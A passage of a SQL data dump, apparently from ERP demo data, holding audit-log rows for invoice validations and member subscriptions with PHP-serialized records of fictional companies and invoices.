Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0006\";s:4:\"date\";i:1579172400;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:4:\"20.5\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";s:11:\"20.50000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"20.50000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"AC2001-0002\";s:11:\"note_public\";N;}}}s:6:\"amount\";d:20.5;}',12,1,0,'2020-01-16 02:36:48','Alice Adminson',''),(41,'2020-01-19 13:51:43','BILL_VALIDATE',239.20000000,'7f38eaf315003f652b72fd27e55e71010a5ed0339086aa100b9a91a6045bb06f','26d074106c5f096ea1795ce7ed399cda6c2b2d5ac78dd9c2e152a0a0aa6ef47b','facture',227,'AC2001-0003','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:200;s:9:\"total_tva\";d:39.2;s:9:\"total_ttc\";d:239.2;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:12:\"200.00000000\";s:23:\"multicurrency_total_tva\";s:11:\"39.20000000\";s:23:\"multicurrency_total_ttc\";s:12:\"239.20000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"19.600\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:12:\"200.00000000\";s:9:\"total_tva\";s:11:\"39.20000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:12:\"239.20000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0003\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 14:51:43','Alice Adminson',''),(42,'2020-01-19 14:01:26','BILL_VALIDATE',50.54000000,'107572ffe2f1ccf1ee4fe7b39c5a4ed40a485c1d37c926fbff8a0e420396d641','352ac5e380c996d7bff798c1369f8a85e86cc98a2864e278cbe0cb6b309c12a5','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:01:26','Alice Adminson',''),(43,'2020-01-19 14:04:53','BILL_VALIDATE',50.54000000,'795f9c5b741f360e3194ac8b3bb163c244b2761125f7507935baa44b319c624a','8cbb81e210f60d71b33a7fdcae0202721c2b4a8cdd59fe77ff2a8942839159b4','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:04:53','Alice Adminson',''),(44,'2020-01-19 14:13:07','BILL_VALIDATE',50.54000000,'0c5b79703d1db88579a1fdb74053596defebddb7a1e6d4c5c8b065729be10201','41669e482d1e5e7a58c132c2bf85bc75372cadb4d9b97047a98cc74a9d1fd767','facture',228,'AC2001-0004','2020-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:13:07','Alice Adminson',''),(46,'2020-01-21 00:02:14','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'aacdc952cc25b2d4f90222cea6f684320c76477e55b87687397d82e70694c517','ce99e3278ebb1f5f2540a0d7205a4b1230e2e23c4bed48b567433b34786b88e4','subscription',2,'','2013-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579564934;s:5:\"dateh\";i:1374098400;s:5:\"datef\";i:1405548000;s:11:\"fk_adherent\";s:1:\"3\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:2;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2013\";}',12,1,0,'2020-01-21 01:02:14','Alice Adminson',''),(47,'2020-01-21 09:22:37','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'43a9804c627e78b20c7842a563099892a2d464b207f96bb393886f0b0ea52b4a','c6befc858191e428330c0054328f84d09f7be0f5603fb5b15e3a59980bb8e6eb','subscription',3,'','2017-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598557;s:5:\"dateh\";i:1500328800;s:5:\"datef\";i:1531778400;s:11:\"fk_adherent\";s:1:\"4\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:3;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2017\";}',12,1,0,'2020-01-21 10:22:37','Alice Adminson',''),(48,'2020-01-21 09:23:17','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'d44357a1d55ffedd8f24690cd3c8aa43f9bfd33aa362ad558fd486b3b7f62a50','7c32d13e68bb245ab06b8e11efa5ed9e5fdb15650265dc80d5cb00d4674c134d','subscription',4,'','2017-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598597;s:5:\"dateh\";i:1500328800;s:5:\"datef\";i:1531778400;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:4;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2017\";}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(49,'2020-01-21 09:23:17','BILL_VALIDATE',50.00000000,'30d0b37723f3cd2fce6afefd56cbdeb90f7cdee0e898e6ebaa411d84d3123ca0','e0301b9c4da11aa095a90cd9989b9fb6d0c635263cb2a8998b4ba57b60751d11','facture',229,'FA1707-0026','2017-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack 